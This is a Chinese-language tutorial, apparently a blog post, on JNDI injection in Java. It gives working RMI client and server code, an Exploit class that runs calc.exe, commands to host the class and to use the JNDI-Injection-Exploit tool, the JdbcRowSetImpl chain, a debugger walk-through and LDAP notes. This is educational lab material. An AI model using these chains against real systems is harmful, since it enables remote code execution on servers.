JNDI注入漏洞分析

基础概念

什么是JNDI?

JNDI 提供统⼀的客户端 API,通过不同的服务供应接⼝(SPI)的实现使得 JAVA 应⽤程可以通过 JNDI 实现和这些命名服务和⽬录服务之间的交互。

服务供应接⼝作用:主要作⽤是为底层的具体⽬录服务提供统⼀接⼝,从⽽实现⽬录服务的可插拔式安装。

JDK中包含的SPI:LDAP、DNS、NIS、NDS、RMI、CORBA

RMI介绍

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定⼀个外部的远程对象(当前名称⽬录系统之外的对象)。

效果其实就相当于是客户端将服务端的代码拉到本地执行

JNDI注入之rmi注入

JDK安全机制

⾼版本JDK在RMI和LDAP的 trustURLCodebase 都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。

所以要用以下代码解除限制。

java 复制代码
 //解除高版本jdk安全限制
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

RMI利用代码示例

涉及到三个主体 client Registry 和server

Registry 和server可以是同一台服务器 所以把他俩代码写到一起

client代码如下:

向Registry发送请求获取远程对象

java 复制代码
public class Client {
    public static void main(String[] args) throws NamingException, SQLException {
        //解除高版本jdk安全限制
       System.setProperty("java.rmi.server.useCodebaseOnly", "false");
       System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        String uri = "rmi://127.0.0.1:1099/EvalObj";
        InitialContext ctx = new InitialContext();
        ctx.lookup(uri);

    }
}

server代码如下:

起一个端口1099的注册表,把/EvalObj这个路径绑定到⼀个Reference上,注册了远程对象,这样当client本地没有Exploit类时就会去访问http://127.0.0.1:1002/加载远程对象。

java 复制代码
public class Server {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("Exploit", "Exploit", "http://127.0.0.1:1002/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://0.0.0.0:1099/EvalObj'");
        registry.bind("EvalObj", refObjWrapper);
    }
}

还需要一个在clinet本地不存在的类Exploit

这个类内容其实就是个简单的命令执行 执行calc.exe命令。

java 复制代码
public class Exploit {

    public Exploit() {
        try{
            // 要执行的命令
            String commands = "calc.exe";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }
}

将Exploit类放入一个文件夹中

注意!!!!Exploit不要出现包的路径

开始利用:

1.将Exploit.java编译

注意编译的jdk版本别太高 因为jdk只向下版本兼容嘛 所以如何编译的jdk版本太高 client可能没办法拉取到本地执行。

2.进⼊Exploit.class所在的⽬录,并使⽤python 搭建http服务并监听1002

java 复制代码
python -m http.server --bind 0.0.0.0 1002

3.先运行server代码 模拟Server 向 Registry 注册远程对象

4.最后 运行client 模拟Client 从 Registry 获取远程对象的代理并通过这个代理调⽤远程对象的⽅法。

成功执行命令弹出计算器

工具的使用

这样又起注册表服务又起服务端远程代码太麻烦了,并且Registry 和server可以是同一台服务器,所以可以使用工具一个命令把这两件事都做了。

java 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C calc

-A后面是运行的地址 -C是待执行的命令

会有不同条件下的不同url

复制url到client代码 运行

成功执行命令 弹出计算器

漏洞分析

开始调试分析

1.强制步入lookup()函数

2.步入InitialContext文件的getURLOrDefaultInitCtx的lookup()函数

3.步入var3.lookup()

4.步入decodeObject()

在decodeObject中,会判断传⼊对象是满⾜RemoteReference接⼝,满⾜则通过getReference函数获取reference对象

5.步入getObjectInstance()

6.步入getObjectFactoryFromReference()

在getObjectFactoryFromReference 中先判断本地是否存在对应类,如果不存在就加载远程类

newInstance()会实例化远程类,所以这⾥恶意对象的⽆参构造⽅法会被执⾏

整体的利用链如下:

JdbcRowSetImpl利⽤链

在实战过程中,context.lookup直接被外部调⽤的情况⽐较少,但是我们可以通过间接调⽤context.lookup实现JNDI的注⼊。

代码示例:

java 复制代码
//JdbcRowSetImpl利⽤链
JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName(uri);
j.setAutoCommit(true);

同样可以达到rmi的效果

调试分析:

1.加断点

2.强制步入setAutoCommit()

3.步入connect()

到这儿就能清晰了 本质上还是InitialContext调用lookup()函数

后面的部分就和前面rmi的分析一模一样了

JNDI注入之LDAP

理解了rmi的话ldap其实是一样的。因为JNDI还可以对接LDAP服务,且LDAP也能返回Reference对象,因此攻击者可以控制LDAP服务端返回⼀个恶意的JNDI Reference对象从⽽完成攻击。

工具也提供了ldap利用的url

直接复制利用

【重要声明】

本文内容仅用于技术交流与学习,严禁用于任何非法用途。所有操作必须严格遵守《中华人民共和国网络安全法》及相关法律法规,仅在获得明确授权的前提下进行。读者应自行承担操作风险,作者不对任何违规使用或由此引发的法律后果负责。

相关推荐
qcx235 分钟前
拆解 Warp AI Agent(一):类型即协议——23 种 Action 的编译期安全设计
人工智能·安全·ai·agent·源码解析·warp
AI进化营-智能译站5 分钟前
ROS2 C++开发系列11-VS Code一键生成Doxygen注释|让ROS2节点文档自动跟上代码迭代
java·数据库·c++·ai
bzmK1DTbd12 分钟前
OpenGL与Java:JOGL库的3D图形渲染实战
java·3d·图形渲染
许彰午12 分钟前
CacheSQL(四):CacheSQLClient——用一张路由表实现水平扩展
java·数据库·缓存·系统架构·政务
许彰午16 分钟前
CacheSQL(三):双 HTTP 引擎与 SQL 查询——接口抽象的价值
java·数据库·sql·缓存
手握风云-1 小时前
Spring AI:让大模型住进 Spring 生态(三)
java·后端·spring
咸鱼2.02 小时前
【java入门到放弃】Dubbo
java·开发语言·dubbo
JAVA面经实录9178 小时前
Java企业级工程化·终极完整版背诵手册(无遗漏、全覆盖、面试+落地通用)
java·开发语言·面试
数字供应链安全产品选型9 小时前
关键领域清单+SBOM:834号令下软件供应链的“精准治理“逻辑与技术落地路径
人工智能·安全
许彰午10 小时前
CacheSQL(二):主从复制——OpLog 环形缓冲区与故障自动恢复
java·数据库·缓存